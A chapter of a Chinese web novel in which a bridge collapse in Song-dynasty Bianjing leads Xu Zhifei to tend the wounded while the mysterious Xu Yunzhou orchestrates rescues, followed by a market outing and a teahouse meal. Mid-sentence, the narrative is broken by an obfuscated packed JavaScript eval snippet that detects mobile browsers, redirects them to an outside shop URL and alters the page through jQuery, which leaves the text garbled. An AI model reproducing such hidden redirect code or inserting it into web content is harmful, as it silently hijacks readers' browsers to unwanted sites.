他们在干什么?那些官兵就只是看着吗? 许知非逆着人群往河边走,有人从身后拉住了她。 “别去。” “是你?” 许云洲紧紧抓着她的手臂,目光扫过奔走的人群,最后落在一片混乱的断桥附近:“我来。” 他看似无意,踢了一块碎石打向墙角一个醉倒的汉子,那汉子瞬间醒了过来,踉跄着奔向惨叫声最密集的地方。 许知非皱了一下眉头,又见河边卖梨的贩子回头看向他,目光穿过人群,两人似乎眼神交流了什么,许云洲将她往身后又拉了一点,转身嘱咐道:“你可以去看伤者,但不要接触官府的人。” 他没等她回答,足尖一点,身影掠向梨摊一侧的河道,将两个在水里挣扎的妇人一下拉起来,勉强安放在梨摊边上。 “公子,驳岸下面有两个人卡在了船骸之间,看着还有气。” 许云洲袍摆滴着水,回到贩子身边,目光扫向正在岸边正与都水监理论的漕司工匠队伍。 其中一个工匠眼神微变,像是忽然想起什么,带着几样破拆工具默默退进人群里,许知非紧紧盯着,发现他钻着空隙走向那个梨摊。 “都是他的人?” 场面一度失控,到处都是伤者,可她手里没有能用的东西,唯有四处张望,试图找到一个及时赶到的医官,又或是…… 桥头树下,有个郎中,吓傻了一样,浑身发抖,她双眼一亮,大步走过去。 一个水手模样的汉子浑身湿透,拖上来个腿上插了木刺的扔在那郎中面前。 两人似乎对了一下眼神,那个郎中即刻如梦初醒,连滚带爬去开了药箱。 许知非犹豫了一下,大步走到伤者身边,还没说话,那郎中抬头看了她一眼:“姑娘有空吗?搭把手吧。” “姑娘?” 他又看了看她,没回应,嘴里忽然念念有词,像是什么“菩萨保佑”之类的话,一双手抖得越发厉害,可拔木刺、止血、清创、上药……每一个动作都落得极为精准,根本不像是吓得瑟瑟发抖的状态。 许知非警惕着他的反应,从药箱里找了几样白布和药粉:“……都是伤药?” “止血的。”许云洲落在她身边,把一个满身是血的人放在她面前,“许坊主,救人要紧。”他没等她反应,身影又落进河道里。 开封府的人随后赶到,左军巡院的一个推官带了二十来个衙役、仵作和几个募集而来的民间大夫。 他袍摆沾泥,额上全是汗,像是着急赶来的,却在河岸边空看了半晌,才大声喊道:“开封府在此,闲杂人等速离!清点岸上伤者,登记籍贯姓名!大夫速去诊治!” 许云洲把一个刚捞起来的伤者放在那边的大夫面前:“水里还有数十人。” 那推官见是许云洲,脸色一下变了,很复杂,好像有些怕,却又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037102|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想输了气势。 “水、水师的船呢?漕司呢?快派人去催!”他对着衙役大喊,满脸惶恐。 “大人,已经催过了,漕司的人说,他们的船都在上游货栈,调过来需时,且说……桥梁坍塌阻塞河道,要水监先定清理方案,否则他们的船过不来,也怕二次损伤。” 开封府管不了漕司的船,更指挥不动都水监的技术官员?许知非一边处理伤者,一边听出了他们没有动手救人的缘由。 那些守城的官兵,怕也是有着这万般权衡的理由,是都怕担责的。 “那在下就先行救人了。”许云洲拱手一拜,并没征求那个推官的意见,转身跳进了河里。 东水门的守军依旧没有出现,许知非看了又看,救人的只有一些水手、百姓模样的人,还有……她能够确定的……许云洲的人。 那个梨摊的贩子也跳进了水里,还有那个醉汉,他们不断的从水里拖上人来,身上也磕出了不同程度的伤,却浑不在意。 许知非压着另一个伤者的伤口,温血透过布料渗进她的指甲里,耳边,漕司和都水监官员彬彬有礼却字字推诿的辩论声令她逐渐火大。 “必须先勘测……评估影响……调阅图纸……”都水监官员慢条斯理,不慌不忙。 “漕运断绝……粮价震动……谁担得起?”漕司官员语带威胁,根本没有提及人命二字。 不远处,开封府的推官焦头烂额,呵斥着衙役动作快点,却对水面上越来越弱的呼救声充耳不闻,殿前司的官兵最后终于赶来,却只是把枪尖指向“闲杂人等”…… 他们是在杀人!为个屁官!许知非将面前伤者包扎好,猛地抬起头,一双利目似刀锋淬火。 她把手里的白布条扔在一边,站起来,走向那些站在河边什么也不干,只盘算着考绩簿如何写的人。 许云洲浑身湿透,扛着一个老汉勉强落稳:“差不多了。”他一膝跪地,把人放在郎中摊子边上。 “别动。”他起身迅速,一下挡到许知非面前。 “让开。”许知非抬眼盯着他,眸中映出他没什么表情的脸。 “你现在过去说什么?质问他们为何不救人?指责他们罔顾人命?” “难道不是吗?”许知非满眼怒火,手上血迹未干,身后地上,横七竖八躺满了她刚刚救治过的人。 “是,然后呢?”许云洲看向一片混乱的河道,话语间能听出疲惫,刚才还急切的语气随着他渐渐平稳的呼吸缓下去,“他们会立刻羞愧难当,下令全力救人吗?还是会记下你的相貌、言辞,给你一个咆哮公堂、干扰公务,甚至心怀怨望,非议朝政的罪名?” 他顿了顿,目光回到她脸上,语气愈加柔和了些,声音低得像是诱哄:“你酒坊案子刚了,在开封府刚挂了名,‘许知非’三个字,在刑部,乃至皇城司都入了档,你是怕自己这个靶子不够显眼,还是嫌追查你身世的人线索太少?” 许知非整个人僵住,身世?原身的家,惨兮兮的记忆……她想找的东西还没找到……而他一定知道什么,但现在…… 她沉了口气,声音微微发抖,私事……压后再提。 “那就看着他们死吗?”她染了血的手微微抬起,指向河面,一个在水里扑腾的人终于沉进了浑浊的河水里。 “你救不了所有人,至少现在……这样的方式,救不了……”许云洲往前一步,彻底挡住了她的视线,“他们的死,在那些人眼里,是灾害损耗,是事出有因,是可以写进奏章里的请罪,但最终多半会酌情体恤的政绩,而你若因此招人盯上,你的死……或消失”他声音忽然带了些哽咽,强压在喉咙里,眼角微微发红,“……可能连水花都不会有。” 许知非听得脊背发凉,心底怒火未熄,却知道自己确实无力与眼前现实抗衡。 “那你能做什么?”她盯着他的眼睛,试图寻找这副皮囊下真实的一面,“你在这里,不只是个路过的琴师吧?” “我能在他们扯皮的时候让几个碰巧懂水性的路人想办法多捞几个上来,在他们争论由谁来清理河道时让该看到这里惨状的人恰好看到,让事后论罪追责时,让该付出代价的人,没那么容易脱身。” 他看向那些官员,神色恢复平静:“直接冲上去理论,是眼下最无用也最危险的方式,改变不了任何事,只会让你落入险境,你要做的……”他目光收回,落在她脸上,似在描画她的模样,“还没开始……你要好好藏起来,等到有用之时。” 她身上有些发麻,犹豫着退后,转身…… 他说得没错,无论是对朝政还是对他,她如今的处境都手无缚鸡之力。 她拿起脚边伤药和布条,走向新救上来的伤者,检查他们的伤口,一面包扎,一面在原身的记忆里搜寻着蛛丝马迹。 这个斯文败类……真的好像没存在过,可却什么都知道,这说不通。 原身的记忆里,是有什么血海深仇的,所以她想去那个宅子。 她顺着那一点记忆去找原身想要找到的某个东西,可不管是东西还是线索,都没找到,这里面一定是出了什么问题。 她一边想着,一边给受伤的人处理伤口,没办法用太现代的手法,条件有限,感染风险简直高得离了大谱,能活下来的都要算神仙保佑,怪不得古代人迷信,这样的状况下是根本别无选择。 河岸的救援持续了很久,许知非再站起来时已全身酸痛。 救治告一段落,伤者陆续被抬走,或者有亲属认领带回家去,而更多的,是无名无姓躺在草席上盖着破布的。 汴河在落日中暗金流淌,她跟那个看起来像江湖郎中的江湖郎中站在一起,学他一副畏惧退缩的样子,低头躬身,躲在树下墙角,那个“郎中”似乎有意挡着她。 烟尘和血腥气久久未散,河面上终于有人开始清理各种残骸,许云洲从驳岸底下攀上来,看着像是累极了,踉跄了一步,站稳后,扯开了湿透的衣袍,袖口衣襟皆是血迹,左臂和胸口明显有几处不算很深的划伤,发梢滴着水。 开封府的人好像认得他,跟他说了几句话,看表情……他好像客气了几句,殿前司的指挥使从他面前走过去,顺路打量了他一下,本来走开了,又回过头来,疾言厉色的样子。 许云洲神色自若,拱手拜见,看起来是自我介绍,那个指挥使好像也怀疑他,盯着他看。 “姑娘可以离开了。”那个郎中低着头,沉声说道。 许知非霎时反应过来自己的观察好像过于明显,她低头往墙边退了一点,瞥见侧方一条贴墙的屋后小路。 “走这边吗?” “是。” 她迟疑了一下,想到刚才许云洲调动人手的情景,这里应该是安排好的?她一点点往小路上挪进去。 身后传来衙役想要盘问那个郎中的声音,她一下加快了脚步,拐了个弯。 那巷落空荡荡的,只有些寻常人家用的箩筐干柴堆放在两边,她正要松口气,一个褐色身影落在她面前,看起来像个码头的力工,可那双眼睛亮得过分了些,根本没有常年劳作者的暗淡和疲惫。 “可是许坊主?”他声音平静无波,毫无情绪,面无表情。 许知非脊背绷紧,微微后退:“你是谁?天还没黑就敢拦路?” “在下林修,公子命我在此等你。” “公子?” “许云洲。” 许知非冷笑:“用不可信的人证明自己的可信度,我好像没有什么好考虑的。” 这个人站姿稳健,双手姿势是随时格挡出击的武夫姿态,呼吸平缓,说话声音过于平稳,根本没有任何情绪,怎么看都不是普通苦力。 “形势所迫,在下刚从城外回来,公子临时遣我过来,确无凭证。”他不慌不忙,语调平稳的就像什么机器人,侧身让开身后道路,“公子无法亲至,方才听闻河道出事,在下推测,坊主在此逗留,易遭官府提去审问,这是公子不愿看到的。所以,请。” 他一副不容拒绝的模样,许知非脸色冷下去:“我说了,凭证,如果没有,又或者,你说说,你家公子今日穿的什么衣裳,袖口腕上之类的有什么特别的地方?腰带上别着什么?” 林修微微皱眉,迅速答道:“青灰色外衫,公子衣着素简,袖口腕上没有什么特别的纹饰。” “错了,”许知非干脆道,又往后退了几步,“你今天根本没见过他,别的就更不用说了。” 林修眼神一沉,看样子是想要强行带走她,可却迟迟没有动,好像在考虑什么。 许知非转身就要跑,巷子里传来一个疲惫沙哑的声音:“他今天没见过我,是我派人把他找来的。” 许云洲扶着墙,一步步走出去,脸色有些苍白,墨蓝劲装湿透了贴在身上,左边袖子从手肘到袖口划开了一道长长的裂口,边缘全是血迹,加深了衣料本身的颜色。 “我左手手腕内侧有一道伤疤,他没看过,自然不知道……至于腰带上……”他走近许知非,在她面前站定,唇角勾起一抹笑意,“想不到,许坊主看我看得如此仔细,倒是令我有些受宠若惊。” 许知非身子稍稍往后倾了一点,戒备着:“你这种人,自然要仔细些。” 他眼里好像出现了一瞬失落,而后看向林修:“林修,我的……近侍随从,性格有些刻板,但……可靠,”他目光落回许知非脸上,瞳中有光点晃过,“这是许坊主,她……机灵得很,就是有时候太过机灵了,反而不是什么好事。” 林修低下头,收了那副准备动手的姿态:“卑……在下唐突,坊主见谅。” 他刚刚说什么?卑……卑职?许知非心中疑虑丝毫未消,只是暂时排除了些最坏的可能。 “你的伤……”她思索着,目光落在许云洲手臂上,医者的本能令她想赶紧去处理一下,不知觉地伸手去碰。 许云洲侧开些许,把受伤的手往身后藏,眼神又柔了三分,那笑像是看见什么珍视之物:“皮肉伤,无碍,钉子划了一下,再不处理就要好了。”他说着自己笑开了,但看起来并不是高兴,“此地不易久留,林修,把她送回春风酒幡,从后门进去,别惊动人,你守着,我晚些回来。” “你去哪里?”许知非见他要走,开口问道。 “去给坊主带点好消息……晚上下酒。” 7. 琴心 …… 那天之后,许云洲三四天没回来,林修一直守在她身边,走到哪里都跟着,颇有点阴魂不散的意思…… 里行的人搜查酒坊的事大概已在御街上传开,很快,整个汴京都会知道,春风酒幡涉嫌私藏逆贼遗物……而她的身份……昭然若揭…… 她揉了一下头,啧,偏头痛……思虑过度……一夜没睡好…… 楼下,后院,有人搬挪东西,定是青禾跟着赵伯在收拾院子,池水里……那些琴谱已经泡得融融烂烂了吧,今年的课额怕是悬了,昨晚该捞起来的…… “王八蛋,乱扔垃圾,甩手掌柜,没公德心,没良心,黑商,骗子!” 她低声骂着,梳好头发下楼。 大堂里,桌椅翻倒,酒器大多都砸碎了,她搬起一张椅子,放正,又去拉桌子,有只手从旁边暗处伸出来,一下拖走了整张桌子的重量。 “我来。” 许云洲不知什么时候来的,单手翻了张桌子,稳稳当当,放在一边,又去搬另一张,再把椅子一张张拿起来,扣在桌面上,动作干脆利落,低着头,只干活,不看她,也不说别的。 许知非停了手,站在那里看他忙活,青禾从后院里回来,冷冷撇了一眼,走进后厨,拿了扫帚和簸箕出来,急着脚步又回去院子里。 酒坊有他一半,担保是他的人,许知非一时也没什么好说的,多问也是找气受,她跟着青禾去了后院。 竹匾歪歪斜斜,破了两三个,她叹了口气,高声道:“赵伯、青禾!先清点损失,还能用的物件擦洗干净归位,完全损毁的单独堆在一起,能修的归在一处,然后再去看看酒窖里的存量,不能用的酒水都拿出来,就倒地上,敬给四方神灵、皇天后土!” 两人停手思量,皆点了头,把手里的东西搁下,先去着手分拣东西。 柜台里的银钱怕是也被他们搜走了,许知非回到大堂里,在翻倒的柜台前站住,看了半晌,蹲下动手去抬。 她用了全身的力气才推起一点空隙,许云洲从旁托住:“我来,当心。” 他低垂着眼,帮她把柜台扶起来,没看她,也没说别的,那双弹琴点茶的手筋骨分明,恰到好处地分担了柜台的重量,但又留了一点给她, 明明是一下就能推起来,非要装…… 许知非撒手退后:“往左半寸。” 许云洲回头看她,一下就把柜台归了位,她给了他一个白眼:“装模作样,也不知给谁看。” 她又蹲下去捡地上散落的账册和碎瓷片,许云洲即刻把瓷片拨开,指尖挑起地上的纸页递给她:“我来,你拿着。” 身后传来桌椅碰撞声,林修像凭空出现一样,在帮着归置歪倒的桌椅物件。 她站起来,左右看了看这两个人,目光落在许云洲身上,小声嘀咕:“……该来的时候不见你来。” 她转身去检查门闩,听见身后有人把东西放在桌上,大步走过来。 “门闩有撬痕,但没断,还能用,再加一道铁扣就好。” 许知非停在门前,这人今天过于周到,过于安分,明显是做错了事,急于弥补……她不动,听他下文。 许云洲在她身后站了一会儿,伸手摆弄了一下门闩:“我能修,不难。” “许公子对修缮之事也很熟悉。” “四处漂泊,杂学了些。” 许知非知道这有半句是假话,没再说什么,没意思…… 莫名不归,莫名搬走,怎不见他学学酿酒? 她去捡门后面倒落的灯架,弯腰,起身,眼前一黑。 许云洲从腰后将她扶住,带着热流的心跳撞在她背后。 “小心。”他一只手扶住灯架,一只手把她牢牢箍在怀里。 许知非缓了一下,抬头看他,那副任劳任怨,言听计从的模样,看起来显得脆弱……又危险。 她推开他,把灯架一把夺回:“许先生,这些粗活让赵伯他们做就可以了,你是能要到御赐亲笔的贵人,更是我们酒坊的大东家,不必如此。” 许云洲神情清澈温和,像是没听出来她的意思:“无妨,我闲着也是闲着,酒坊有我一份,早日重整,我也安心些。”他停了停,又补了一句,“昨日……我该早些来。” “你没有必须在这里的必要,只要按时拿分成就好,没什么该不该的,早些来,你就惹祸上身了。这是我自己的事,是我连累你了,这个月会损失不少。” “生意有起有落实属常事,坊主没事就好。” 许知非把灯架摆正:“是,你说得对,我现在没有时间问你到底去了哪里,为什么那么恰好带了琴谱来,也没有时间深究如何拿到御赐亲笔之物送我的……我现在要先重整我的酒坊,根本没空细查你。” “知非……”许云洲欲言又止,垂下眼帘,“那几件案子……” “案子……我管不着了……其实本来也轮不到我管。”许知非扯下撕破的挂帐,卷了团,丢在一边,“钱员外的命,虹桥底下的亡魂,瓦子里死掉的女颭,花火节接连死掉的人……”她停了一下,又道,“这些我都管不着,我只是卖酒的,没有什么别的本事,琴棋书画样样不通,只会做菜酿酒……若不是你救我,那场大火已经把我烧死了,我想了一下,也是没什么好埋怨的,你不过就是想挣钱,办产业,凭什么非要帮我呢?也没有什么必须跟我解释的理由……眼下,重整酒坊要紧,是没错的。” 她说完又开始收拾东西,把还算能用的器物首先拾起,脚下残瓷碎陶暂且放任,挡路的踢到一边。 她一路拾过去,停在空了大半的酒架前,青禾正好拿了酒窖的出入簿来。 他扫了一眼酒架,看起来更加确信了些:“这些根本不够用的,加上仅剩的存货,新酒出来之前都要见底。” 她随意翻了几页,把册子放在柜台上,很快有了决断:“你们收拾,我出去一下。” “这些时日漕运不畅,物价浮动得厉害,鲜货尤其紧俏,若坊主不嫌弃,许某可以引路。” 等一下……他知道她要干什么? 她脚步一滞,扫了他一眼,继续往外走,态度冷淡:“许先生放心,不会让你赔本的。” 她开门出去,关门时猛地拉了个反力,险些把她整个人带倒。 许云洲一只手扶住她,一只手拉开门,自己跟着出来,才把门关上。 “坊主要采买,那便缺个拿东西的。” “我可以让人送货,不必劳烦许先生特地陪我跑一趟。” “虹桥塌了之后,不知怎么,流民也多了起来。流民一多,盗窃也多,送货易丢失,亏损也是有我一份的,我不放心。” 晨雾初散,春阳梨花,汴河两岸的榆柳新芽初探,毛茸茸的绿色。 他神态悠闲,非要跟着,许知非咽下一口气,算了,他有权利跟着。 她转身往街上走,有意忽略一双双看过来的眼睛,端起这段时间里好不容易练就的古代男子的姿态,肩背刻意挺直,步伐稍阔,眉眼间敛去柔色,目光清冷。 许云洲负手缓行,跟在她身侧后半步,依旧是一袭青灰细麻长衫。 他对里行身上为什么会别着有琴轸纹样的玉坠丝毫没有要解释的意思,而她,有太多把柄在他手里,要弄清楚这些事,硬碰定是不行的。 许云洲面上一贯温和含笑,旁人看来就是个愿意陪义弟采买闲逛,出钱又出力的好兄长,背后又有达官贵人的关系,她要是有什么怨怼,满街的人都不会偏帮她一丁点。 她斟酌一番,低声道:“昨日清点库房,去年存的江南糯米只剩三石,虹桥塌的那天,看了他们办事的态度,这漕运至少堵到五月吧,酒曲是够了,但新酿经他们这么一砸,今年产量至少减四成,到时候,季末的课额怕是有难度。” 她盯着前面摊子里的芥菜,又道:“就算你有关系,课额暂且放一边,但坊里新请的五个伙计,算上我自己,八张嘴要吃饭,酒水供不上,得用别的法子引客。” 许云洲轻笑:“看来许坊主已有打算?” “菜。”许知非看了他一眼,此人明知故问。 “酒配菜,菜带酒,汴京人爱饮,也重口腹之欲,我在想……”她顿了顿,斟酌着自己想说的话,有些想法太现代,得套上这些古人的壳子才行。 她停在一个肉铺前,指了一下羊肉肋排处:“这里,肉质细嫩,切成薄片,用酱汁腌渍,放在铁网上去烤,三息翻面,再五息即熟。” 这是她闲书上看来的西北边军常用的吃法,结合了一些现代烤肉的手法。 肉铺老板抬眼看她:“小郎君说的可是燠肉?” 许知非并不精通这些古话,想了想,勉强笑了一下:“嗯……类似吧,但要很薄,火更猛一点……这片全要了。” 老板满脸欢喜,用荷叶包好了肋排,递给她,笑盈盈收了钱。 许知非掂了掂手里的荷叶包,心想下次还是带个篮子来比较好…… 她正犹豫嫌弃,目光一转,斟酌道:“酱汁……也有讲究,用清酒、饴糖、姜汁……还有茱萸粉末调和,炙好后撒一撮炒香的芝麻……” 许云洲目光柔和,像是并不觉得新奇,但却有意惯着她,接话道:“这吃法,倒有些像西北边军,他们猎得黄羊,便是这样急火薄炙,只是佐料粗简些。” 他熟悉军中事务?游方琴师游进言官家里,游进皇家宫宴,都有可能,但游进军营里……可能性不大,是刻意暴露,还是…… 这人既铁了心要扮好人,那就帮他扮得更像、更真些,她把肉递给他:“拿着。” 她手上轻松,又想了想:“还有鱼,这几日我听客人说有渔家从五丈河进城,从沙洲湾送来新鲜活鱼?” 许云洲忽然有些意味深长:“不错,就是我们上次去过的那里,胡永昌最近一直想请你吃个便饭。” 许知非狐疑道:“你把加急纲弄给他了?” “一言九鼎,举手之劳。” 许知非默了默,怕不是什么鸿门宴,谁爱去谁去吧,没吃过饭么? “再说吧,或者你把他带来,我就不去了,如今这身份,免得给他惹麻烦。” 她转身就走,又道:“我们现在去买鱼,要最新鲜的鱼,片成薄片,铺在刚蒸熟的米饭上,浇一勺用鲣鱼干、昆布熬的鲜汁,这汁须清澈见底,不可浑浊,再点缀几丝紫苏、姜芽。”她一面走一面说,双手比划着。 许云洲眉梢微扬:“这吃法……似是闽地鱼生饭,但闽地用醋渍,你这鲜汁倒是新奇。” 许知非目光微转,此处可以顺势试探:“许先生见识真广,连闽地食风都知晓?” “早年游历……略有所见。”许云洲唇角一勾,即刻转开了话题,“不过这鲜汁熬法……昆布是海物,汴京难得。” “所以才要试。” 许知非撇他一眼,往马行街方向拐了个弯。 两人一路再没说话,许知非一直走在前面,去五丈河的路她是凭着记忆摸索,不识时停下,许云洲便立刻上前指路,乖得突兀,却肆无忌惮。 两人默默走着,她时不时停下看看摊子、铺子里的食材和物件,余光撇见许云洲一直盯着她。 沙洲湾船舶屋舍跟上次来时没什么差别,就是春意抽了芽,浓了几分生气,鱼腥和泥味随着风飘来,也比上次浓郁不少…… 漕口街市比上次热闹,人比鱼多,不知道是不是时候还早的缘故。 许知非在一个鱼摊前蹲下,伸手碰了碰木盆里的几条海鲈:“这新菜罕有,若成了,便是春风酒幡独一份,即便酒配的少,客人也会为这一口鲜来。” 她挑了两尾生猛的,让鱼贩找来附近跑腿的小厮连肉一起送回酒坊,许云洲并没阻拦。 起身时,她衣袖擦过他手背,他下意识地抬手扶她,指尖在碰到她之前停住,又悄悄收回去。 许知非装不知道,转身走进街市深处。 香料杂货铺子在街角最里头,她径直走过去,拉高了声音:“刚刚说的炙肉酱汁,茱萸粉大概不够辛香,不知道有没有一种外来的香料,名唤胡椒的,味更辛烈,去腥增香更佳。” 街市嘈杂,许云洲摇了摇头,高声答她:“胡椒确是好物,不过如今海路不畅,市面上的多是岭南商贾辗转而来,价昂如金,宫中尚膳监应有库存,民间酒坊要用……怕是成本太高,还招人眼。” “宫中?”许知非停了脚步,转身看他,“许先生连尚膳监的用度都清楚?” 两人四目相对,市集喧嚣尤其大了些。 许云洲笑容未变,丝毫不见心虚:“坊主忘了,我是抚琴的,有时会在宫里宴饮到深夜,尚膳监会送些点心羹汤,听着老内侍们闲聊,便知道些琐碎。” 理由合理,教坊司隶属宣徽院,她也听说了,他们时常奉命请他进宫,与宫中饮食机构有交集不奇怪……但她不信。 他那双手骨节分明,筋脉力道完全是握兵器的好手,手掌虎口指尖都有些薄茧。 而琴师的手,是吃饭的家伙,茧多在指尖,整只手都该柔润细腻,护得比富家小姐还要娇贵,绝不是这个样子的。 她按下心思,走进香料铺:“可有芥辣,要山葵根磨的。” 掌柜摇头摆手,脸色为难:“山葵只有蜀地才有,汴京罕见。” 许云洲跟在她身后,坦然道:“东十字大街南首,有家蜀味斋,掌柜是眉州人,专售蜀地干货,或有山葵粉,但未必新鲜。” 许知非听着,没有应答,上前买了一包茱萸粉、一罐豆酱,离开铺子时才问:“许先生似乎对汴京街巷极为熟悉,不是人生地不熟,没有地方落脚吗?” 早前就跑出去好几次,连日连夜不回酒坊,哪像什么没地方落脚的外地人,如今正好噎一噎他。 许云洲一脸轻巧:“闲人一个,平日无事便爱走街串巷,去些贵人家里做客留宿,也算摸清了这汴京街巷了。” “虹桥坍塌那天,你也是去了贵人家里做客?三四日没出来?” 许云洲将她手里几个油纸包勾到自己手里,神情依旧温和:“带着几个江湖朋友去协同官府调查,在开封府连查了几日……只是没帮上忙,至今还没查到祸首,只是惩戒了那几个办事不利的官,跟你说过了。” 骗子,那天回来的时候,袖口里面缠着白布条,明明是受了伤回来的。 时辰近午,两人拐进一条茶汤巷,他又道:“寻个摊子歇脚,吃点东西吧,坊主忙了一上午,大不了我推了邀约,只在店里卖艺就是。” 许知非直接走进身边一家茶肆,上了二楼雅间:“是啊,你动动手指,就比旁人累死累活一个月都要强。” 应她的是马行街的喧闹声,这些声音也是日夜不歇,却都不及一首琴曲赚钱。 她选了个临窗的位置坐下,各种各样的声音隔着竹帘透进来,她刻意不看他,目光投向街上往来的人和车马。 许云洲在她对面坐下,袍摆料子精细,铺开似一汪静水,小二上前擦桌子,他温声道:“先上一壶双井白牙,要泉水煮的。” 他看向许知非,浅笑不改,丝毫不掩饰自己对这里的熟络:“走了半日,喝口好的?” 许知非“嗯”了一声,望着窗外,一副不在意的样子。 有些东西不用问,也不必争,人,总会自攻自破的。 小二记下,又问:“二位可要用些吃的?小店今日有羊百肠、猪皮肉、姜辣萝卜,还有晨起才到的江鱼蛤蜊烩。” 许云洲又问她:“可想吃什么?” 许知非回过头来,稍稍看了看他,又撇了一眼店小二:“许先生点就是了,你时常在外行走,想必知道什么好吃,不像我,从小窝在街边脚店里。” 许云洲指尖在桌面上轻叩了一下:“那便要一碟羊白肠,切薄片,多撒香菜、滴点香油,猪皮肉炙得焦脆些,配蒜醋汁,再要一盅蛤蜊烩,多加姜丝,祛寒。” 他顿了顿,像是想起什么:“对了,可有蜜煎雕花?要金桔和木瓜的。” 小二连连点头:“有有有,刚做好的,雕的是莲花样。” “可以,端上来。” 小二躬身退下去,他又道:“羊白肠嫩滑,炙肉香脆,蛤蜊鲜甜,蜜煎解腻,我看你晨起就忙,该多吃些。” 他说得体贴周全,刚才点菜行云流水,菜名、做法、佐料,都熟悉的很,不像是临时斟酌的,倒像这里的常客。 蜜煎雕花,许知非看过,说是他们宫里和高档酒楼才有的菜式,这样的茶肆却有,他还点得这么自然,如果不是用惯的,就是刻意展露他的见识,至于目的,都不是什么好事。 小二端上茶来,白瓷盏细腻如玉,他提壶斟茶,推到她面前:“当心烫,这香气还不错。” “许先生对茶也有钻研?”许知非端起来,轻轻抿了一口,放下。 “琴茶同源,皆需静心体味。”他执盏啜饮,微微抬眼留意她,“我时常抚琴佐茶,也是耳濡目染罢了。” 许知非当没听见,又看向窗外,原身记忆里,有一个地方,倒是挺神秘的。 菜色上桌,她夹了一箸羊白肠,发现膻气处理得很干净,轻声道:“这味道,倒让我想起西街王楼的炙羊,听说,他们家专做北地风味,掌柜是太原人。” 许云洲答得自然:“王楼炙羊确是一绝,他们秘制的酱料腌渍三日,用松木炙烤,不过……”他夹了一片猪皮肉,蘸了蒜醋汁,放在她面前的碟子里,“他们家口味偏重,你怕会嫌咸,这家猪皮肉炙得透,肥油尽化,脆而不腻,你尝尝。” 那家酒楼……百姓口耳相传说是皇城司的东西,掌柜是北边退下来的老兵。 许知非不确定真假,但发觉他转移了话题,看着像是有意规避什么。 她目光微变,看向街上行人,许云洲又给她夹了两箸蛤蜊烩:“这烩法,似与古籍上的冰壶珍相似,你试试。” “古籍?什么古籍?有多古?”许知非回过头来,尝了几口,味道不错。 她放下筷子,喝了口茶,转了一下杯子,没看他,等他回答。 许云洲仍又给她和自己添了茶,姿态风雅,端坐如钟,自成一处景致。 茶水落进杯子里,发出咕嘟咕嘟的声音,他又笑道:“闲书,你既钻研食艺,可以看看,改日给你带过来,不过书中记的都是文人雅趣,真做起来,还是市井厨子实在,赵伯应更拿手。” “……你现在住在城外?” “是,改日带你看看。” “那改日我亲自去取吧。” 许云洲淡淡一笑:“好啊,你想来便来。” 他低头吃菜,神情中,清晰可见地无奈,好像还有点伤感,许知非看了他一会儿,又问他:“莲房鱼包你吃过没?” 许云洲动作一滞:“那菜……费功夫,需取新鲜莲房,剔瓢留孔,塞进鱼茸蒸制,我在钱塘江畔看人做过,自己还没试过。” “是吗?我也想试试。” 那是宫里才有的菜,原身吃过…… 蜜煎雕花端了上来,小青瓷碟盛着,金桔片雕成莲花,木瓜切成了莲叶,蜜汁亮得诱人。 许云洲把碟子推给她:“尝尝,这家雕工不如樊楼,但蜜渍得法,甜而不腻。” 许知非拈起一片金桔,蜜香扑鼻而来,她咬了一小口,甜意在她舌尖化开,果酸随后而至。 “我……小时候吃过这个。” 原身记忆里,许府显赫一时,什么好吃的都好像有过,只是记忆模糊不清,如今吃到,才又有些清晰起来。 许云洲端盏品茶,指尖微微一紧,声音更柔和了些:“哪里吃的?” “记不清在哪,总之,有人牵着我,也是春天。”她故意不说。 许云洲低笑,看向那碟雕花:“坊主若喜欢,回去我试着做,蜜煎不难,只是雕花……要花些心思。” “你会做饭?” “不会,”他神情一转,傲气起来,眉梢扬了扬,“但我是弹琴的,手自然灵巧,可以试试。” “许先生受欢迎想来是心灵手巧的缘故。” 许云洲正要说什么,窗外楼下传来一阵喧哗,有人大声叫嚷:“抓贼!那人偷了我钱袋子!” 街上人群涌动,一个灰衣汉子挤开人潮狂奔,后面三四个力工打扮的人追着他。 混乱中,有个摊子箩筐忽然倒地,滚了满地的橘子,逃跑的汉子连摔了几跤。 许知非眯起眼睛,探出头去正要张望,许云洲把窗户往回拉了拉,有意挡住她:“市井常事,别看。” 话音未落,那贼人冲进了茶肆里,几个食客都惊得站起来,楼下传来尖叫声,有桌椅翻倒,杯盘砸碎的响动。 许云洲站起来,挡在许知非身边。 那劫匪果然冲上楼来,抬头就看见了许云洲,整个停住。 许云洲外袍衣袖垂落,右手遮在袖子里面,微微动了一下,好像握住了什么东西。 许知非坐在原位,从背后看他好像摇了摇头,那劫匪脸色瞬间刷白,猛地转身逃窜,跑到外廊竟毫不犹豫跳了下去。 许知非急忙起身,追过去看,见他跌进一个货堆里,连滚带爬,又窜进旁边巷子去。 追他的几个人骂骂咧咧跟上,一个个从许知非身边踩上了护栏一跃而下。 许云洲从身后稍稍拉了一下她的手:“没事了。” 他示意她回去坐,神情柔和得有些过分。 许知非盯着他,没有要回去的意思:“你认识他?” 许云洲失笑:“我怎会认识一个贼人?” 他自己先回到座位上,端起茶盏抿了一口:“许是那厮见我挡了路,怕被拦住,狗急跳墙了。” 不可能,那个人看他的眼神根本不是怕被拦住,是怕他这个人,像见了鬼一样,跟那个赵书吏差不多,只不过,他不能跪下。 她默默往楼下走:“不吃了,小贼坏我心情了。” 许云洲跟在她身后,下楼便叫小二结账,从钱袋里倒出几个碎银子和数十枚铜钱,又额外多给了五文:“茶点甚好,这点钱给伙计们打酒。” 那小二喜出望外,许知非瞥见那个钱袋边缘绣着极细的银线云纹,针脚料子都有些太过精细,不是市井里随便能找到的。 他指尖多了一处新的疤痕,明显是什么利器划伤的,她收了一下眼神,转身出去,在门口扑了一身暖阳。 许云洲停在她身边,眯眼看了看天:“今春花盛,过几日,金明池旁的杏林就该全开了。” 